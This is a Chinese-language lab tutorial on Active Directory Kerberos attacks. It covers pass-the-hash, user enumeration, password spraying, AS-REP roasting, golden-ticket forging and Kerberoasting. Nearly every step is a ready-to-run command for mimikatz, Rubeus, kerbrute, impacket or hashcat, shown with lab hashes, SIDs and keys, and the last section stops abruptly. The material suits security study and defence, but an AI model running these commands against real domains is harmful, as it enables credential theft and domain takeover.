Kerberos协议漏洞攻击
上文详细介绍了 Kerberos协议内容、认证过程、数据包分析以及存在的安全问题,本文详细演示一下 Kerberos认证过程中,AS_REQ、AS_REP、TGS_REP阶段的各种攻击方式。以及一些工具使用 例如:kerbrute、pyKerbrute

AS_REQ&ASREP阶段攻击
<1> PTH 哈希传递攻击
在内网渗透中,我们经常需要抓取管理员密码、NTLM Hash通过搜集这些信息有助于我们扩大战果、尤其是在域环境下。
什么是哈希传递?
哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术。
比如NTLM Hash、LM Hash都不需要明文密码因此都可以被称为Hash传递攻击。
哈希传递的作用
解决渗透中获取不到明文密码,破解不了NTLM Hash的MD4算法而又想扩大战果的问题。
Pass The Hash 必要条件
- 哈希传递需要被认证的主机能够访问服务器
- 哈希传递需要被传递认证的用户名
- 哈希传递需要传递的认证用户的NTLM Hash
在AS-REQ阶段,数据包中加密的Authenticator字段是用用户密码Hash进行加密的,所以也可进行hash传递
msf的 exploit/windows/smb/psexec模块 攻击
用户名:administrator
LM\NTLM Hash:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab


mimikatz 进行PTH攻击
1 | sekurlsa::pth /user:administrator /domain:192.168.16.20 /ntlm:570a9a65db8fba761c1008a51d4c95ab |
<2> 域内用户枚举
域内用户枚举,即爆破一下域内的账户名
注:Kerberos pre-auth对应的端口默认为88 DC要开启kerberos 88端口

用到了 kerbrute工具,下载地址:https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe
这里需要我们提前准备好一个 用户字典
1 | admin |
1 | kerbrute_windows_amd64.exe userenum --dc 192.168.16.10 -d hack.com user.txt |

可知:1vxyz用户是存在的
kerbrute进行错误枚举的原理就是kerberos有这样四种错误代码:
- KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)
- KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)
- KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在)
- KDC_ERR_PREAUTH_FAILED (用户存在但密码错误)
抓包分析,根据报错可以看出来有4个UNKNOWN,1个REQUIRED 那个REQUIRED的 即为真正存在的用户

注:如果某个用户勾选了 Kerberos预身份验证,则判断不出来,这个在后面AS-REP roasting攻击会讲到
<3> 密码喷洒攻击(用户密码枚举)
密码喷洒,即我们已知一些域内的用户名,在AS-REQ阶段,AS会根据请求包中密码正确与错误的返回包的不同,爆破用户密码的一种攻击方式
(1) kerbrute进行密码喷洒
1 | kerbrute_windows_amd64.exe passwordspray --dc 192.168.16.10 -d hack.com user.txt 1qaz@WSX # 适用于存在用户账户锁定策略 |

原理 同域内用户枚举

这个工具 有一个以用户名当成密码进行爆破的选项,然后就是单个明文密码 不能通过ntlm hash
(2) pyKerbrute工具进行密码喷洒
pyKeybrute是一款使用Python编写的域内用户枚举和密码喷洒工具,可以通过UDP和TCP两种模式进行工作。密码喷洒可以使用明文密码或密码hash
下载地址:https://github.com/3gstudent/pyKerbrute
用法:
1 | python2 ADPwdSpray.py 192.168.16.10 hack.com user.txt clearpassword Admin@123 tcp |

注:如果下载下来报错

把文件里的from Crypto.Cipher import MD4,MD5 改为from Crypto.Hash import MD4,MD5
也可以通过 kali内置的一些工具,比如:CrackMapExec、hydra等等进行爆破,他们主要针对smb协议 严格来说不算密码喷洒 有hash碰撞的意思
<4> AS-REP Roasting攻击
(1) Roasting攻击简介
AS-REP Roasting攻击是一种对用户账号进行离线爆破的攻击方式,是管理员的错误配置导致的。管理员在DC上 用户账户策略勾选了 不要求Kerberos预身份验证

AS_REP Roasting攻击的首要条件:
- 勾选了默认不需要Kerberos预身份验证
什么叫预身份认证呢?
我们没有勾选的情况下,通过kekeo申请票据,这里我们输入正确的账号密码才有 AS-REP数据
打上勾之后,在AS-REQ阶段,只需要发个用户名即可不需要发送密码 也会有AS-REP数据
在AS-REP阶段,数据包中最外层的enc-part是用户密码hash加密的

原理:
- 不需要Kerberos的域身份认证,AS_REP过程中可任意伪造用户名请求票据。通过爆破 enc-part得到获得用户hash,拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以通过hashcat对其破解,最终获得明文密码,构成了 AS-REP Roasting攻击
主要攻击手段还是黄金票据攻击
(2) 获取勾选不需要预认证用户列表
使用Empire下的 powerview.ps1 查找域中设置了”不需要kerberos预认证”的用户
这个是针对域用户可用的脚本,因为这个脚本是采用ldap协议向域控去查
1 | Import-Module .\powerview.ps1 |

(3) 获取AS-REP的enc-part
对域内的主机,如果想知道某用户的hash加密的enc-part值,可以使用相关工具,通过 LDAP协议查询用户,列出相关的part值
利用Rubeus工具 进行asreproast攻击获取enc-part
Rubeus工具是Harmj0y 用C#开发的针对Kerberos协议进行攻击的工具。它可以发起Kerberos请求,比如TGT请求、ST请求,也可用于 AS-REP Roasting攻击、Kerberosasting攻击、委派攻击、黄金票据、白银票据等等
Rubeus工具需要 .NET framework环境支持
在线一键安装即可

用法:
1 | # 会得到用户账户的hash值 |

成功抓到了两个未开启预认证的用户 zhangsan、lisi的enc-part值

利用ASREPRoast.ps1获取AS-REP返回的hash
1 | # 将脚本导入到powershell |

利用 Impacket套件中的 GetNPUsers.py获取 AS-REP返回的hash
此方法不一定非要在域内主机上
1 | python GetNPUsers.py -dc-ip 192.168.16.10 -usersfile user.txt -format john -outputfile hash.txt hack.com |

(4) 破解获得的 enc-part hash值
因为该值是使用用户的 NTLM-HASH 进行加密的,因此可以进行暴力破解
john工具
用法:
1 | john -wordlist=字典路径 hash值 |

成功恢复出 zhangsan的密码:1qaz@WSX
hashcat工具破解
因为我们前面获取到的hash是根据 john的模式生成的,因此我们使用hashcat爆破的话还需要改成hashcat规定的格式。 或者换一种模式 再生成一下hash
网站上给的 example里 需要多一个 $23

1 | hashcat -m 18200 hash.txt rockyou.txt --force |
<5> 黄金票据
(1) 黄金票据介绍
在 AS-REP 阶段,AS成功认证Client 的身份之后,会发送 TGT 给客户端。其中主要包括:
- krbtgt用户的NTLM Hash加密后的TGT认购权证(即ticket这部分)
- 用户NTLM Hash加密的AS Session key(即数据包中最外层 enc-part 部分) 以及一些其他信息。AS Session Key的作用是用于确保客户端和KDC下阶段之间通信安全。最后TGT认购权证、加密的Lgoin Session Key、时间戳 和 PAC 等信息会发送给客户端
因此 AS-REP中最核心的东西就是 AS session-key 和 krbtgt用户的NTLM Hash加密的ticket
黄金票据的原理:
- 由于返回的 TGT 认购权证是由 krbtgt 用户的密码Hash加密的,因此如果我们拥有 krbtgt 的 hash 就可以自己制作一个TGT认购权证,这就造成了黄金票据攻击
黄金票据的作用:
- 可以用来权限维持
- 可以用来横向移动
黄金票据的必要条件
- 已知要伪造的域用户(一般写域管理员用户)
- 域名
- 域的SID值(就是域成员SID值去掉最后的那个数)
- krbtgt 账号的 NTLM hash值 或 AES-256值
正常我们用工具生成的凭据是 .ccache 和 .kirbi 后缀的,用mimikatz,kekeo,rubeus生成的凭据是以 .kirbi 后缀的,impacket 生成的凭据的后缀是 .ccache 。两种票据主要包含的都是AS session-key 和 加密的 Ticket,因此可以相互转化
注:跨域下的黄金票据有一定限制,但利用SidHistory即可解决,因为现实中跨域的攻击情况较少
(2) mimikatz 生成黄金票据
首先,在DC上用mimikatz获取 krbtgt hash:
1 | mimikatz.exe "Log" "lsadump::dcsync /domain:hack.com /user:krbtgt" "exit" |
得到信息:
- SID:S-1-5-21-3007078554-120081946-2522169796 (不算后面-502那部分)
- NTLM hash:3f9de95a61107e30012e7bb2d9bdcd86
- aes256:de44975a42471227518592e7946202ae2a7eb5f98a08d7323e5d0087c7254669
- 域名:hack.com

得到 krbtgt 的hash后,去Win2008域成员机器上
再利用mimikatz生成黄金票据
krbtgt NTLM hash生成
1 | mimikatz "kerberos::golden /user:Administrator /domain:hack.com /sid:S-1-5-21-3007078554-120081946-2522169796 /krbtgt:3f9de95a61107e30012e7bb2d9bdcd86 /ticket:golden.kirbi" |
aes256 key生成
1 | mimikatz "kerberos::golden /user:administrator /domain:hack.com /sid:S-1-5-21-3007078554-120081946-2522169796 /aes256:de44975a42471227518592e7946202ae2a7eb5f98a08d7323e5d0087c7254669 /ticket:golden.kirbi" |
导入Golden Ticket:
1 | mimikatz # kerberos::ptt golden.kirbi |
查看本地缓存,发现凭据成功导入
1 | mimikatz # Kerberos::list |

导入金票之后,再次访问域控 成功访问

(3) impacket生成黄金票据
首先去 github上下载源码,下载地址:https://github.com/fortra/impacket
然后解压缩,进入impacket
1 | cd impacket |

impacket 包里的 ticketer.py 生成票据
用法:

1 | Examples: |
已知信息:
- SID:S-1-5-21-3007078554-120081946-2522169796
- NTLM hash:3f9de95a61107e30012e7bb2d9bdcd86
- aes256:de44975a42471227518592e7946202ae2a7eb5f98a08d7323e5d0087c7254669
1 | python3 ticketer.py -domain-sid S-1-5-21-3007078554-120081946-2522169796 -nthash 3f9de95a61107e30012e7bb2d9bdcd86 -domain hack.com administrator |
得到 administrator.ccache
导入票据,export配置linux主机环境变量,再利用impacket的smbexec获取shell:
1 | export KRB5CCNAME=administrator.ccache |

出现拒绝连接、kali 不在域内,我们需要把dns改向域控

也可以用mimikatz导入
1 | kerberos::ptc administrator.ccache |
这个金票主要常用于 拿到票据,防止域管改密码了,自己去生成一个域管账户 权限维持时用的

TGS_REP阶段攻击
<1> Kerberoasting攻击
(1) Kerberoasting原理
Kerberoasting 是域渗透中经常使用的一项技术, 是Tim Medin 在 DerbyCon 2014 上发布的一种域口令攻击方法, Tim Medin 同时发布了配套的攻击工具 kerberoast。
这是发生在 TGS-REP阶段下的,我们再来回顾一下 TGS-REP阶段 Client和 KDC 的通信
这一阶段, KDC 收到 Client 凭借TGT 针对所需要访问的服务 发送的TGS_REQ请求后
- 首先会检查自身是否存在客户端所请求的服务(就是查询SPN)
- 如果服务存在, 则通过 krbtgt 用户的NTLM Hash 解密TGT并得到 AS_Session Key
- 解密成功后使用 AS_Session Key 解密 TGT 第一部分加密内容, 然后检查里面数据
检查成功后,返回ST票据,并带上PAC
注:无论用户有没有访问服务的权限,只要TGT正确无误,就可以请求域内任何一个服务的 ST,TGS都会给他返回ST票据
返回包包含两部分信息:
- 一部分是 使用 AS_Session Key 进行加密的 时间戳、ST有效时间 和 随机密钥TGS_Session Key
- 另一部分则是 使用Server hash(服务的NTLM hash) 进行加密的 时间戳、Client Name、Client IP、Server IP、ST有效时间、TGS_Session key的ST票据 。发送ST 的数据包是TGS-REP(TGS-response)

Kerberoast攻击 主要利用了 TGS_REP 的过程中用户将会收到由目标服务实例的NTLM hash 加密的加密数据,对于域内任何主机,都可以通过查询SPN,向域内所有服务请求 ST(因为KDC不会验证它是否具有访问服务的权限),然后进行暴力破解,但是 这里只要域用户的SPN是可以利用的 (因为机器账户的SPN每30天会随机更改随机128个字符的密码导致无法破解),所以 实际过程中要注意攻击的是域用户。当然如果该SPN没有注册在域用户下,可以尝试进行注册然后再利用hashcat破解即可
Kerberoast攻击过程:
- 攻击者使用他们的 TGT认购权证 请求ST服务票据,获取特定形式(name/host)的 servicePrincipalName (SPN) 例如:MSSqlSvc/SQL.hack.com 此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册,在请求过程中(TGS-REQ),攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)
- 如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者
- 攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码
Kerberoasting原理就在于
- KDC返回的 ST票据的加密方式没有强制采用aes256, 可以使用RC4_HMAC_MD5加密算法,攻击者可以比较简单地进行爆破
- 在TGS认证TGT的时候, 不管提供的用户是否具有访问目标服务的权限都会返回目标服务的ST
KDC在收到TGT后,首先会检查自身是否存在客户端所请求的服务(即查询SPN) 那么 什么是SPN呢?
以及 什么叫做 服务的NTLM hash? NTLM hash不是用户的密码hash吗?
(2) 服务主体名SPN介绍
服务主体名称 SPN(Server principal Name), 是服务实例(可以理解为一个服务, 比如 HTTP、MSSQL) 的唯一标识符。
Kerberos 身份验证使用SPN将服务实例与服务帐户相关联。 如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。在域中如果有多个服务, 每个服务必须有自己的SPN和用户, 一个用户可以有多个SPN, 但是SPN只能对应一个用户, SPN必须注册到用户下
在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerberoasting攻击的第一步
Client-TGS 通信阶段SPN的作用:
当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控ldap查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中TGS对TGT进行解密。确认无误后,由TGS 将一张允许访问该SPN所对应的服务的ST服务票据(使用对应的SPN用户 hash进行加密)和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问
SPN格式:
SPN的格式: <serviceclass>/<host>:<port>/<service name>
SPN 的语法中存在四种元素, 两个必要元素和非必要两个元素,
其中<service class>和<host>为必须元素
<port>/<service name>是非必要
必要:
Service class:服务类
(HOST) Host:服务所在的主机名字
比如MSSQLSvc/SQL.abc.com
SPN分为两种类型:
注册在活动目录的机器账户下 (机器账户的明文密码一班破不了,后续白银票据是攻击此情况)
电脑加入域之后,机器用户会同步到域控(主机名$)。当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名和 HOST/主机名.域名
注册在活动目录的域用户帐户(Users)下 ( Kerberoasting 攻击的是域用户的口令,此情况下)
SPN可以注册在域中的用户, 默认只有机器用户或者域管理员用户才有权限去注册SPN,域中的普通用户如果要注册需要修改权限(一般默认的一些工具软件会注册到机器用户下)
查询SPN:
1 | setspn -Q */* |

查看指定域 注册的SPN
1 | setspn -T hack.com -Q */* |
查找本域内重复的SPN:
1 | setspn -X |
查找指定用户/主机名注册的SPN:
1 | setspn -L username/hostname |
(3) 域内SPN探测(SPN发现)
在控制了一台内网主机的时候, 我们可以探测域中注册的SPN,原理上还是使用LDAP协议进行查询
如果当前电脑加入了域,并且使用域用户进行登录。(没有加入域的话,则需要提权到SYSTEM 然后再对域内访问)
setspn命令
1 | setspn -Q */* |
PowerView
1 | Import-Module .\PowerView.ps1 |
对于非域内的主机,也可以通过 adfind、Impacket,但是必要提供一个域中的账号密码,没有办法通过 kerberos协议,自己写脚本也不行
Adfind探测
1 | # 域内主机 |


(4) 请求SPN服务票据
我们为什么要获取SPN? 就是想用来破解SPN对应账户的密码
这里又分为两种情况:SPN的可以注册在机器用户下和域用户下
机器用户下(机器账户的SPN每30天会随机更改随机128个字符的密码,无法破解)
域用户下(SPN可以注册在任何的域用户下, 所以需要查询高权限的域用户下的SPN)
过滤出来的SPN之后我们就要针对这些用户进行ST的申请, 正常申请ST进行破解密码这个是kerberoasting, 如果是伪造ST那就是白银票据了
利用Impacket中的GetUserSPNS.py请求
该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破 加上 -outputfile可输出到文件中
1 | python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 hack.com/1vxyz |

Rubeus请求 ST
Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用hashcat 或 john 爆破的Hash。
1 | # 请求注册于用户下的所有SPN的服务票据,以john破解的格式 输出到 hash.txt中 |

mimikatz请求 ST
1 | #请求指定SPN的服务票据 存放在内存中 |

(5) 导出票据
查看票据
1 | klist |
MSF里查看票据
1 | load kiwi |
mimikatz导出票据
1 | mimikatz.exe "kerberos::list /export" "exit" |
执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件

Empire下的Invoke-Kerberoast.ps1导出票据
1 | Import-Module .\Invoke-Kerberoast.ps1 |
(6) 离线破解ST票据HASH
得到的ST 由于工具不同,得到的格式也不同 有 Kirbi 也有 hash格式的。因此破解时使用的工具也会不同
tgsrepcrack.py破解
1 | python2 tgsrepcrack.py rockyou.txt 1-40a10000-1vxyz@WEB~WIN2008.hack.com-HACK.COM.kirbi |
Hashcat破解
1 | hashcat -m 13100 hash.txt rockyou.txt --force |
攻击步骤大致为:
powerview.ps获取SPN ->
impacket/rebues.exe/mimikatz获取服务票据
-> mimikatz导出、empire导出票据
-> hashcat爆破密码
<2> 白银票据
这些攻击方式理解起来比较容易混淆,简单来区分的话,可以这样解释:
- AS-REP Roasting:获取用户hash然后离线暴力破解
- Kerberoasting:SPN注册在域用户的情况下,获取服务的 server-hash 然后暴力破解,从而获取域用户密码
- 黄金票据:通过假冒域中不存在的用户来访问应用服务
Kerberos协议漏洞攻击

